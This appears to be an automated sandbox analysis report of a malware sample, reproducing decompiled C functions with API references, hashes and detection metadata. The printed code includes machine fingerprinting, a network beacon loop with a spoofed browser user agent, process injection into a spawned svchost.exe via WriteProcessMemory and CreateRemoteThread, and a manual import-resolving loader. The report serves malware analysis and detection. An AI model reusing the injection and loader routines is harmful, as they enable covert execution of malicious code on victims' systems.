Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumProcesseslstrcmpi
String ID: .>ov
API String ID: 1246086236-341798122
Opcode ID: 9b282678ed5eb0e8db530bd2e57b1d411f56249def0b636566b2bf05a53581f8
Instruction ID: f50ef97056dffde47e20bdead5ab69a37a30f77c59974309cba4d365ddf9befc
Opcode Fuzzy Hash: 9b282678ed5eb0e8db530bd2e57b1d411f56249def0b636566b2bf05a53581f8
Instruction Fuzzy Hash: D7115B70E40118EBCB18DF98D841AEDB3B9BF48344F2046A9EA2593280E730AE80CF10

Uniqueness

Uniqueness Score: -1.00%

Function 02111C70, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E02111C70(void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t36;
				void* _t61;
				void* _t62;

				asm("xorps xmm0, xmm0");
				asm("movlpd [ebp-0x18], xmm0");
				_v12 = 0x8000;
				_t33 = E02111390(_v12); // executed
				_t62 = _t61 + 4;
				_v16 = _t33;
				_v8 = _v16;
				_t34 = _v8;
				__imp__GetAdaptersAddresses(2, 0, 0, _t34,  &_v12); // executed
				_v20 = _t34;
				if(_v20 == 0) {
					while(_v8 != 0) {
						E021114A0( &_v36, 0, 8);
						E02111450( &_v36, _v8 + 0x2c,  *((intOrPtr*)(_v8 + 0x34)));
						_t62 = _t62 + 0x18;
						_v28 = _v28 ^ _v36;
						_v24 = _v24 ^ _v32;
						_v8 =  *((intOrPtr*)(_v8 + 8));
					}
				}
				E021113D0(_v16);
				_t36 = E02112490(); // executed
				_v44 = _t36;
				_v40 = 0;
				return E02111400(_v44, 0x20, _v40) ^ _v28;
			}

0x02111c76
0x02111c79
0x02111c7e
0x02111c89
0x02111c8e
0x02111c91
0x02111c97
0x02111c9e
0x02111ca8
0x02111cae
0x02111cb5
0x02111cb7
0x02111cc5
0x02111cdf
0x02111ce4
0x02111cf3
0x02111cf6
0x02111cff
0x02111cff
0x02111cb7
0x02111d08
0x02111d10
0x02111d17
0x02111d1a
0x02111d33

APIs

Part of subcall function 02111390: GetProcessHeap.KERNEL32(?,02111886,00100000), ref: 0211139C
Part of subcall function 02111390: RtlAllocateHeap.NTDLL(00230000,00000000,02111886,?,02111886,00100000), ref: 021113BD

GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,?,00008000), ref: 02111CA8

Strings

Mj_p, xrefs: 02111CA8

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AdaptersAddressesAllocateProcess
String ID: Mj_p
API String ID: 2964925633-1616650669
Opcode ID: f8cce5895ccd5c3c7ef290d169c65169297ac71e0f653b7f6d25078a3e23cc1e
Instruction ID: b9bab8489d46e9207dcfef04d93f1c93e4284bb70c67f504b11deeb32dfd7c57
Opcode Fuzzy Hash: f8cce5895ccd5c3c7ef290d169c65169297ac71e0f653b7f6d25078a3e23cc1e
Instruction Fuzzy Hash: 2B21F7B5D50209AFDB04DBA4C981BEEF7B5AF4C304F108569DA05B7240E770AA44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 021124F0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
networkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E021124F0() {
				void* _t1;
				void* _t2;

				if( *0x2117270 == 0) {
					_t2 = InternetOpenA("Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko", 0, 0, 0, 0); // executed
					 *0x2117270 = _t2;
				}
				_t1 =  *0x2117270; // 0xcc0004
				return _t1;
			}

0x021124fa
0x02112509
0x0211250f
0x0211250f
0x02112514
0x0211251a

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko,00000000,00000000,00000000,00000000), ref: 02112509

Strings

Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko, xrefs: 02112504

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InternetOpen
String ID: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
API String ID: 2038078732-3333256863
Opcode ID: 2b751818f5119f815a5ee2a1a8fd1cdc33a0c329ef29a461103a33db596ab36f
Instruction ID: d43b245a4f55407273b7ef1852c1c25dc8612b59c4e7af526869f696718221b5
Opcode Fuzzy Hash: 2b751818f5119f815a5ee2a1a8fd1cdc33a0c329ef29a461103a33db596ab36f
Instruction Fuzzy Hash: 0ED0C938AC0B04AAEB348A64AF06B52B7E4B354F14F200421B609662C0C7F470AB8659

Uniqueness

Uniqueness Score: -1.00%

Function 02112490, Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02112490() {
				int _v8;
				long _v12;
				char _v272;
				int _t13;
				void* _t18;

				_v8 = GetWindowsDirectoryA( &_v272, 0x104);
				if(_v8 == 0) {
					L3:
					return 0;
				}
				 *((char*)(_t18 + 0xfffffffffffffef7)) = 0;
				_t13 = GetVolumeInformationA( &_v272, 0, 0,  &_v12, 0, 0, 0, 0); // executed
				if(_t13 == 0) {
					goto L3;
				}
				return _v12;
			}

0x021124ab
0x021124b2
0x021124ea
0x00000000
0x021124ea
0x021124bc
0x021124db
0x021124e3
0x00000000
0x00000000
0x00000000

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 021124A5
GetVolumeInformationA.KERNEL32 ref: 021124DB

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DirectoryInformationVolumeWindows
String ID:
API String ID: 3487004747-0
Opcode ID: 9d06d70fb480d14837d5b4540184ee18276775fd53715d1bb8fe9f138670c2b1
Instruction ID: 3f381222b5d51d28404ea73e52510d4ba97b786141878f06912289f6dbef21d0
Opcode Fuzzy Hash: 9d06d70fb480d14837d5b4540184ee18276775fd53715d1bb8fe9f138670c2b1
Instruction Fuzzy Hash: 5AF05E30A84328AAE734DBA4DD16BE977B89701B00F1041A4AA45EA1C0D7F4AA84CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0212F322, Relevance: 3.0, APIs: 2, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0212B60E,00000001), ref: 0212F333
HeapDestroy.KERNEL32 ref: 0212F369

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: e7a16c6af4f44bc1b2efca8883f33b7f03f3788cb03bec969a52aa476bd8151f
Instruction ID: aa6a73c406d8d3de5a87b28f36e393055e109be6166c8536df613f6c0548f481
Opcode Fuzzy Hash: e7a16c6af4f44bc1b2efca8883f33b7f03f3788cb03bec969a52aa476bd8151f
Instruction Fuzzy Hash: 79E0C975AD43119BDB55AB70AD0473736E5EB54746F200825F401C9480EB6881FAEA41

Uniqueness

Uniqueness Score: -1.00%

Function 02111870, Relevance: 2.6, APIs: 2, Instructions: 85
sleepCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E02111870(void* __eflags) {
				intOrPtr _v8;
				long _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t32;
				intOrPtr _t35;
				void* _t38;
				void* _t40;
				void* _t52;
				void* _t55;

				_v12 = 0x100000;
				_t28 = E02111390(_v12); // executed
				_v20 = _t28;
				_t29 = E02111390(_v12); // executed
				_v24 = _t29;
				_t30 = E02111390(0x1000); // executed
				_t55 = _t52 + 0xc;
				_v8 = _t30;
				_v32 = 1;
				while(1) {
					_t58 = _v32 - 1;
					if(_v32 != 1) {
						break;
					}
					_t32 = E02111AA0( &_v36, _t58, _v20, _v12,  &_v36); // executed
					_t55 = _t55 + 0xc;
					if(_t32 != 1) {
						L12:
						Sleep(0xea60); // executed
						_t30 = E021115C0();
						Sleep(0xea60); // executed
						continue;
					}
					_t35 = E02111560(_v20 + 4, _v24);
					_t55 = _t55 + 8;
					_v36 = _t35;
					_v16 = _v24;
					while(1 != 0) {
						_v16 = E021117B0(_v16, _v16, _v8);
						_t38 = E021127B0(_v16, _v8);
						_t55 = _t55 + 0xc;
						if(_t38 == 1) {
							_v28 = 0;
							_t46 = _v8;
							_t40 = E02111630(_v8, _v8,  &_v28); // executed
							_t55 = _t55 + 8;
							if(_t40 == 1 && _v28 == 0) {
								E021114E0(_t46, _v8);
								_t55 = _t55 + 4;
							}
						}
						if(_v16 != 0) {
							continue;
						} else {
							goto L12;
						}
					}
					goto L12;
				}
				return _t30;
			}

0x02111876
0x02111881
0x02111889
0x02111890
0x02111898
0x021118a0
0x021118a5
0x021118a8
0x021118ab
0x021118b2
0x021118b2
0x021118b6
0x00000000
0x00000000
0x021118c8
0x021118cd
0x021118d3
0x0211195a
0x0211195f
0x02111965
0x0211196f
0x00000000
0x0211196f
0x021118e4
0x021118e9
0x021118ec
0x021118f2
0x021118f5
0x0211190e
0x02111915
0x0211191a
0x02111920
0x02111922
0x0211192d
0x02111931
0x02111936
0x0211193c
0x02111948
0x0211194d
0x0211194d
0x0211193c
0x02111954
0x00000000
0x02111956
0x00000000
0x02111956
0x02111954
0x00000000
0x021118f5
0x0211197d

APIs

Part of subcall function 02111390: GetProcessHeap.KERNEL32(?,02111886,00100000), ref: 0211139C
Part of subcall function 02111390: RtlAllocateHeap.NTDLL(00230000,00000000,02111886,?,02111886,00100000), ref: 021113BD

Part of subcall function 02111AA0: GetVersion.KERNEL32(?,021118CD,?,00100000,?), ref: 02111AAD
Part of subcall function 02111AA0: wsprintfA.USER32 ref: 02111B5E

Sleep.KERNELBASE(0000EA60), ref: 0211195F
Sleep.KERNELBASE(0000EA60), ref: 0211196F

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: HeapSleep$AllocateProcessVersionwsprintf
String ID:
API String ID: 1739176888-0
Opcode ID: db0ca69e045101b581d8d524205754d7acac887b7765ecae096a2259be30084a
Instruction ID: ee67e0444f600f8866c2f4c91d766f87738b728a6c04874076b68e0ca9499c1a
Opcode Fuzzy Hash: db0ca69e045101b581d8d524205754d7acac887b7765ecae096a2259be30084a
Instruction Fuzzy Hash: FA315AB5D40209BFDF10DF94E941BAEF7B9AB08304F144439D61DA6244E735A6448FA2

Uniqueness

Uniqueness Score: -1.00%

Function 021113D0, Relevance: 1.3, APIs: 1, Instructions: 12
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E021113D0(void* _a4) {
				void* _t2;
				int _t4;
				void* _t5;

				if( *0x211715c != 0) {
					_t5 =  *0x211715c; // 0x230000
					_t4 = HeapFree(_t5, 0, _a4); // executed
					return _t4;
				}
				return _t2;
			}

0x021113da
0x021113e2
0x021113e9
0x00000000
0x021113e9
0x021113f0

APIs

HeapFree.KERNEL32(00230000,00000000,02111D0D), ref: 021113E9

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: b04a515d3a181eb18018df64c483a12c3c62c11de2282c18840981c3371603a8
Instruction ID: e4a1fcd02252f84fbcc4922b8ce69119e1dbed91268e233f831871c24db0b4fd
Opcode Fuzzy Hash: b04a515d3a181eb18018df64c483a12c3c62c11de2282c18840981c3371603a8
Instruction Fuzzy Hash: 1CC01232580208ABD7089E86EA48BABB3EDA306715F084914B60C4A7C4C7B5A8E0CB90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 021306AB, Relevance: 66.4, APIs: 44, Instructions: 431COMMON

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 021306E0
___getlocaleinfo.LIBCMT ref: 021306F5
___getlocaleinfo.LIBCMT ref: 0213070A
___getlocaleinfo.LIBCMT ref: 0213071F
___getlocaleinfo.LIBCMT ref: 02130737
___getlocaleinfo.LIBCMT ref: 0213074C
___getlocaleinfo.LIBCMT ref: 0213075E
___getlocaleinfo.LIBCMT ref: 02130773
___getlocaleinfo.LIBCMT ref: 0213078B
___getlocaleinfo.LIBCMT ref: 021307A0

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 1dbcfaf9b79e21e401ef408949eb5978417c506449872f1cc94a3882aba115c8
Instruction ID: 6acd1d885ed77c0d923250c2c1c45e65480ce50c0844be24c9704f5555c8109e
Opcode Fuzzy Hash: 1dbcfaf9b79e21e401ef408949eb5978417c506449872f1cc94a3882aba115c8
Instruction Fuzzy Hash: 2FE1CCB2D4024DBEFF12DAE0CD80EFF77BEFB04754F04092AB25592050EA75AA159B64

Uniqueness

Uniqueness Score: -1.00%

Function 02113880, Relevance: 10.6, APIs: 7, Instructions: 103
memorythreadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E02113880(void* _a4, long _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				char _v32;
				long _v36;

				if(_a12 == 0) {
					_v8 = VirtualAlloc(0, _a8, 0x3000, 0x40);
					if(_v8 == 0) {
						L14:
						return 0;
					}
					E02111450(_v8, _a4, _a8);
					if(_a16 == 0) {
						_v28 = _v8;
						_v28();
						return 1;
					}
					_v24 = CreateThread(0, 0, E021139E0, _v8, 0, 0);
					if(_v24 == 0) {
						goto L14;
					}
					CloseHandle(_v24);
					return 1;
				}
				if(E02112C40( &_v16,  &_v32) != 0) {
					_v12 = VirtualAllocEx(_v16, 0, _a8, 0x3000, 0x40);
					if(_v12 == 0 || WriteProcessMemory(_v16, _v12, _a4, _a8, 0) == 0) {
						L7:
						goto L14;
					} else {
						_v20 = CreateRemoteThread(_v16, 0, 0, _v12, 0, 0,  &_v36);
						if(_v20 == 0) {
							goto L7;
						}
						CloseHandle(_v20);
						return 1;
					}
				}
				return 0;
			}

0x0211388a
0x02113930
0x02113937
0x02113996
0x00000000
0x02113996
0x02113945
0x02113951
0x02113989
0x0211398c
0x00000000
0x0211398f
0x0211396a
0x02113971
0x00000000
0x02113984
0x02113977
0x00000000
0x0211397d
0x021138a2
0x021138c2
0x021138c9
0x0211391b
0x00000000
0x021138e7
0x02113901
0x02113908
0x00000000
0x00000000
0x0211390e
0x00000000
0x02113914
0x021138c9
0x00000000

APIs

VirtualAllocEx.KERNEL32(00500000,00000000,00500000,00003000,00000040,?,?,?,?,?,02111FB7), ref: 021138BC
WriteProcessMemory.KERNEL32(00500000,00000000,00000000,00500000,00000000,?,?,?,?,?,02111FB7), ref: 021138DD
CreateRemoteThread.KERNEL32(00500000,00000000,00000000,00000000,00000000,00000000,?), ref: 021138FB
CloseHandle.KERNEL32(00000000), ref: 0211390E
VirtualAlloc.KERNEL32(00000000,00500000,00003000,00000040,?,?,?,02111FB7), ref: 0211392A
CreateThread.KERNEL32(00000000,00000000,021139E0,00000000,00000000,00000000), ref: 02113964
CloseHandle.KERNEL32(00000000), ref: 02113977

Part of subcall function 02112C40: GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 02112C71
Part of subcall function 02112C40: lstrcatA.KERNEL32(?,\System32\svchost.exe), ref: 02112C83
Part of subcall function 02112C40: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000424,00000000,00000000,00000044,?), ref: 02112CA9

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Create$AllocCloseHandleProcessThreadVirtual$EnvironmentMemoryRemoteVariableWritelstrcat
String ID:
API String ID: 2742758278-0
Opcode ID: 397855a79a63d3dffa5299fcff6e98658e7dc4f63a8242d34c15d2c84e40e6e7
Instruction ID: 5c99501d0d35a73047f10e2e86acb0271174cf8a00453b65eb89bcae00b74256
Opcode Fuzzy Hash: 397855a79a63d3dffa5299fcff6e98658e7dc4f63a8242d34c15d2c84e40e6e7
Instruction Fuzzy Hash: D4316275E8420DFBEB14CFA4C949FEF77B4AB48700F004568FA15AB288D3749A80CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02129B44, Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 02130660
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 02130675
UnhandledExceptionFilter.KERNEL32(02147A64), ref: 02130680
GetCurrentProcess.KERNEL32(C0000409), ref: 0213069C
TerminateProcess.KERNEL32(00000000), ref: 021306A3

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 670c558dfde2de9770ff6455bb457ac76ee7bd17dec2a4ceeb06576c533abee3
Instruction ID: 9686ac2bfc8f89b641c1c60b49861ce04410ecf8c184cefe7ef8bc1e8515d525
Opcode Fuzzy Hash: 670c558dfde2de9770ff6455bb457ac76ee7bd17dec2a4ceeb06576c533abee3
Instruction Fuzzy Hash: D5211FB9C82304DFCB11DFA4FA8465A3BF5FF88700F01285AE4498BA40E3B459E58F19

Uniqueness

Uniqueness Score: -1.00%

Function 02113580, Relevance: 6.1, APIs: 4, Instructions: 105
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02113580(intOrPtr _a4) {
				intOrPtr* _v8;
				struct HINSTANCE__* _v12;
				void* _v16;
				signed int* _v20;
				_Unknown_base(*)()* _v24;
				CHAR* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr* _v40;
				intOrPtr _v44;
				intOrPtr _v48;

				_v32 = _a4;
				_v36 = _a4 +  *((intOrPtr*)(_v32 + 0x3c));
				_v40 = _v36 + 0xbadc25;
				_v44 =  *_v40;
				_v8 = _a4 + _v44;
				while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
					_v28 = _a4 +  *((intOrPtr*)(_v8 + 0xc));
					_v12 = 0;
					_v12 = GetModuleHandleA(_v28);
					if(_v12 == 0) {
						_v12 = LoadLibraryA(_v28);
					}
					if(_v12 != 0) {
						_v16 = _a4 +  *((intOrPtr*)(_v8 + 0x10));
						_v20 = _a4 +  *_v8;
						if( *_v8 == 0) {
							_v20 = _v16;
						}
						while( *_v16 != 0) {
							_v48 = _a4 +  *_v20;
							_v24 = 0;
							if(( *_v20 & 0x80000000) == 0) {
								_v24 = GetProcAddress(_v12, _v48 + 2);
							} else {
								_v24 = GetProcAddress(_v12,  *_v20 & 0x0000ffff);
							}
							if( *_v16 != _v24) {
								 *_v16 = _v24;
							}
							_v16 = _v16 + 4;
							_v20 =  &(_v20[1]);
						}
						_v8 = _v8 + 0x14;
						continue;
					} else {
						return 0;
					}
				}
				return 1;
			}

0x02113589
0x02113595
0x021135a7
0x021135af
0x021135b8
0x021135bb
0x021135d1
0x021135d4
0x021135e5
0x021135ec
0x021135f8
0x021135f8
0x021135ff
0x02113611
0x0211361c
0x02113625
0x0211362a
0x0211362a
0x0211362d
0x0211363d
0x02113640
0x02113651
0x0211367f
0x02113653
0x02113669
0x02113669
0x0211368a
0x02113692
0x02113692
0x0211369a
0x021136a3
0x021136a3
0x021136ae
0x00000000
0x02113601
0x00000000
0x02113601
0x021135ff
0x00000000

APIs

GetModuleHandleA.KERNEL32(?), ref: 021135DF
LoadLibraryA.KERNEL32(?), ref: 021135F2
GetProcAddress.KERNEL32(00000000,?), ref: 02113663
GetProcAddress.KERNEL32(00000000,?), ref: 02113679

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: 92ac405159f9fdaaf5b930fac4ff4e06b9f82ef958876b88c7944940b6709318
Instruction ID: 95a7312946bd9f95b5d46581034b6f0344e1a90ca3aaa2ae6b02a0d8e8cd2189
Opcode Fuzzy Hash: 92ac405159f9fdaaf5b930fac4ff4e06b9f82ef958876b88c7944940b6709318
Instruction Fuzzy Hash: 8B418574E00209EFCB04CF98C594BAEBBB1FF48304F2485A9D915AB354D734AA81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02112D17, Relevance: 4.5, APIs: 3, Instructions: 24
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02112D17() {
				void* _t17;

				if( *(_t17 - 4) != 0) {
					__imp__CryptDestroyHash( *(_t17 - 4));
					 *(_t17 - 4) = 0;
				}
				if( *(_t17 - 0xc) != 0) {
					CryptDestroyKey( *(_t17 - 0xc));
					 *(_t17 - 0xc) = 0;
				}
				if( *(_t17 - 8) != 0) {
					CryptReleaseContext( *(_t17 - 8), 0);
					 *(_t17 - 8) = 0;
				}
				return  *((intOrPtr*)(_t17 - 0x10));
			}

0x02112da4
0x02112daa
0x02112db0
0x02112db0
0x02112dbb
0x02112dc1
0x02112dc7
0x02112dc7
0x02112dd2
0x02112dda
0x02112de0
0x02112de0
0x02112ded

APIs

CryptDestroyHash.ADVAPI32(00000000), ref: 02112DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 02112DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 02112DDA

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Destroy$ContextHashRelease
String ID:
API String ID: 3577760690-0
Opcode ID: 566222447778cd40cc7192ac4dd8315bb21af03d694fc7d96a591504f2cbcf46
Instruction ID: 1562469a56663ec0db3ed265ae1aab69b30a91daf332e02897b119b33571d422
Opcode Fuzzy Hash: 566222447778cd40cc7192ac4dd8315bb21af03d694fc7d96a591504f2cbcf46
Instruction Fuzzy Hash: 1EF015B4D80218EBEF24CFA0D54CBEEBBB0AB04709F1084A9E90163380C77A4A94CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02112D98, Relevance: 4.5, APIs: 3, Instructions: 24
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02112D98() {
				void* _t17;

				if( *(_t17 - 4) != 0) {
					__imp__CryptDestroyHash( *(_t17 - 4));
					 *(_t17 - 4) = 0;
				}
				if( *(_t17 - 0xc) != 0) {
					CryptDestroyKey( *(_t17 - 0xc));
					 *(_t17 - 0xc) = 0;
				}
				if( *(_t17 - 8) != 0) {
					CryptReleaseContext( *(_t17 - 8), 0);
					 *(_t17 - 8) = 0;
				}
				return  *((intOrPtr*)(_t17 - 0x10));
			}

0x02112da4
0x02112daa
0x02112db0
0x02112db0
0x02112dbb
0x02112dc1
0x02112dc7
0x02112dc7
0x02112dd2
0x02112dda
0x02112de0
0x02112de0
0x02112ded

APIs

CryptDestroyHash.ADVAPI32(00000000), ref: 02112DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 02112DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 02112DDA

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Destroy$ContextHashRelease
String ID:
API String ID: 3577760690-0
Opcode ID: 8701c904e8cec77067b1658616b527aa177fd0f86694ed273f2d358be3031969
Instruction ID: 1562469a56663ec0db3ed265ae1aab69b30a91daf332e02897b119b33571d422
Opcode Fuzzy Hash: 8701c904e8cec77067b1658616b527aa177fd0f86694ed273f2d358be3031969
Instruction Fuzzy Hash: 1EF015B4D80218EBEF24CFA0D54CBEEBBB0AB04709F1084A9E90163380C77A4A94CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02112D55, Relevance: 4.5, APIs: 3, Instructions: 24
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02112D55() {
				void* _t17;

				if( *(_t17 - 4) != 0) {
					__imp__CryptDestroyHash( *(_t17 - 4));
					 *(_t17 - 4) = 0;
				}
				if( *(_t17 - 0xc) != 0) {
					CryptDestroyKey( *(_t17 - 0xc));
					 *(_t17 - 0xc) = 0;
				}
				if( *(_t17 - 8) != 0) {
					CryptReleaseContext( *(_t17 - 8), 0);
					 *(_t17 - 8) = 0;
				}
				return  *((intOrPtr*)(_t17 - 0x10));
			}

0x02112da4
0x02112daa
0x02112db0
0x02112db0
0x02112dbb
0x02112dc1
0x02112dc7
0x02112dc7
0x02112dd2
0x02112dda
0x02112de0
0x02112de0
0x02112ded

APIs

CryptDestroyHash.ADVAPI32(00000000), ref: 02112DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 02112DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 02112DDA

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Destroy$ContextHashRelease
String ID:
API String ID: 3577760690-0
Opcode ID: 31dddff156daeadd42ddfab91d23045b116cab67dc06d46dd09790c35857ff6d
Instruction ID: 1562469a56663ec0db3ed265ae1aab69b30a91daf332e02897b119b33571d422
Opcode Fuzzy Hash: 31dddff156daeadd42ddfab91d23045b116cab67dc06d46dd09790c35857ff6d
